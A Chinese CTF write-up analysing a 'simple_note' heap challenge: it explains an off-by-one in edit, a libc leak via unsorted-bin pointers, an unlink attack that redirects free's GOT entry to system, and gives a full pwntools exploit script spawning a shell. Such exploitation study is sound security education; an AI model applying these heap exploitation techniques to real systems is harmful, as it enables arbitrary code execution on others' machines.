文章有其他用途,写的比较基本
0x01 程序分析
这是一个记录note的程序:
======================
1. add a new note
2. delete the note
3. show the note
4. edit the note
5. exit
======================
Your choice:
bss段的全局数组list存储note的索引
看一下主要功能
add
在add中:
for ( i = 0; i <= 15 && list[i]; ++i )
可以看到最多存储16个note
且约束了每个note大小:
if ( v2 <= 127 )
{
puts("Too small size!!!");
exit(0);
}
delete
在delete中:
free(list[v1]);
list[v1] = 0LL;
free后置空了指针,不存在UAF
show
在show中:
int show()
{
signed int v1; // [rsp+Ch] [rbp-4h]
puts("Please input the index: ");
v1 = read_int("Please input the index: ");
if ( v1 < 0 || v1 > 16 )
return puts("Invalid index");
if ( !list[v1] )
return puts("No such note");
puts("Note: ");
return puts(list[v1]);
}
联想到可能潜在的威胁:
我们可以覆盖"\x00"结束符来leak数据
edit
int edit()
{
unsigned int v1; // ST0C_4
signed int v2; // [rsp+8h] [rbp-8h]
puts("Please input the index: ");
v2 = read_int("Please input the index: ");
if ( v2 < 0 || v2 > 16 )
return puts("Invalid index");
if ( !list[v2] )
return puts("No such note");
v1 = strlen(list[v2]);
puts("Please input your note: ");
return read_string(list[v2], v1);
}
这里比较明显:
read_string(list[v2], v1)
而:
v1 = strlen(list[v2]);
存在Off-By-One
在chunk结构体中:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
prev_size可以用于存储上一个chunk的数据
如果上个chunk恰好覆盖到prev_size结束,那么就会和这个chunk的size相接,使得edit时strlen比实际上多出一字节(size),那么通过edit上个chunk便可以修改这个chunk的size
0x02 漏洞
首先是show处的leak以及edit处的Off-By-One
利用show来leak libc:
add(0x88,'a'*0x80)
add(0x88,'a'*0x88)
delete(0)
add(0x88,'a'*7)
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline("0")
p.recvuntil("aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
说明:
首先add两个note
再delete第一个note
此时第一个chunk:
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
那么再add一个note,写入8字节('a'*7+'\n'),show的时候便会将bk中的数据put出来,从而leak libc
下面首先想到能否修改list中的索引值,使其中一项指向GOT表中的free或puts,再利用edit修改其为system函数地址
先动调一下:
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603000 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty
看到其使用unsortedbin,先尝试一下unlink
我们先申请几个chunk:
add(0x88,'a'*0x88)
add(0x88,'a'*0x88)
add(0x88,'a'*0x88)
在其中一个chunk上fake chunk
并覆盖掉下一个chunk的prev_size和size
使得系统认为这个fake chunk未被分配
再free掉下一个chunk
此时系统利用unlink将下一个chunk与fake chunk合并
因为fake chunk上的fd、bk可控,所以我们可以利用此时unlink操作修改特定地址为特定值
这里unlink时会判断:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
而恰好list数组中储存的地址便指向堆中的P
例:
fake chunk 位于第n个chunk -> list[n-1]
构造:
fake chunk -> fd = &list[n-1]-8*3
fake chunk -> bk = &list[n-1]-8*2
最终unlink后:
FD->bk = BK 即 fake chunk -> fd (&list[n-1]-8*3) ->bk (list[n-1])=&list[n-1]-8*2
BK->fd = FD 即 fake chunk -> bk (&list[n-1]-8*2) ->fd (list[n-1])=&list[n-1]-8*3
最终效果:
list[n-1]=&list[n-1]-8*3
即,使一个指针指向这个指针-24位置处:p=&p-24
这里我们最终是list[4]的chunk与list[3]中构造的fake chunk合并
最终unlink操作的是list[3],而后list[3]中的值为&list[3]-8*3,即list[0]
此时edit(list[3])即会修改list[0]中保存的地址
可以将list[0]修改为free的got表地址
而后edit(list[0])即会修改free的got表地址
将其修改为system_addr后
delete一个字符串为'/bin/sh'的堆块
即会调用system('/bin/sh')
注意:
这里选择构造fake chunk的chunk最小在list[3]处
否则将list[2]=&list[2]-8*3=list[0]-8,如果read足够长的字符串
我们也可以'a'*8+p64(got['free']),不过这里是按照strlen来read字符串
这里注意:strlen(*list[3](list[0]))一般为4,这取决于堆所在的地址的长度
例,一般为:
0x000000000141a0a0 ->a0 a0 41 01
所以在edit(3, p64(got['free']))时,实际上只有四字节被读取
实际上,got['free']有效字节数只有3
system真实地址symbols["system"]有效字节数只有6
不过我们不能edit(3, p64(got['free'])[:3])
这样会:
0x6020c0 <list>: 0x000000000a602018 0x000000000141a0a0
0x6020d0 <list+16>: 0x000000000141a130 0x00000000006020c0
换行符会占剩下那一个字符
不过可以edit(3, p64(got['free'])[:4])
同理可以edit(0, p64(symbols["system"])[:6])
0x03 EXP
from pwn import *
#context.log_level = 'debug'
p=process("./simple_note")
elf=ELF("./simple_note")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,note):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("note: ")
p.sendline(note)
def delete(index):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
def edit(index,note):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("note: ")
p.sendline(note)
add(0x88,'a'*0x80)
add(0x88,'a'*0x88)
delete(0)
add(0x88,'a'*7)
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline("0")
p.recvuntil("aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
add(0x88,'a'*0x88)
add(0x88,'a'*0x88)
add(0x88,'a'*0x88)
edit(3,p64(0)+p64(0x80)+p64(0x6020c0)+p64(0x6020c0+8)+'a'*0x60+p64(0x80)+'\x90')
delete(4)
edit(3, p64(elf.got['free']))
#gdb.attach(p)
edit(0, p64(libc.symbols["system"]))
add(0x80, '/bin/sh\x00')
delete(4)
p.interactive()
网友评论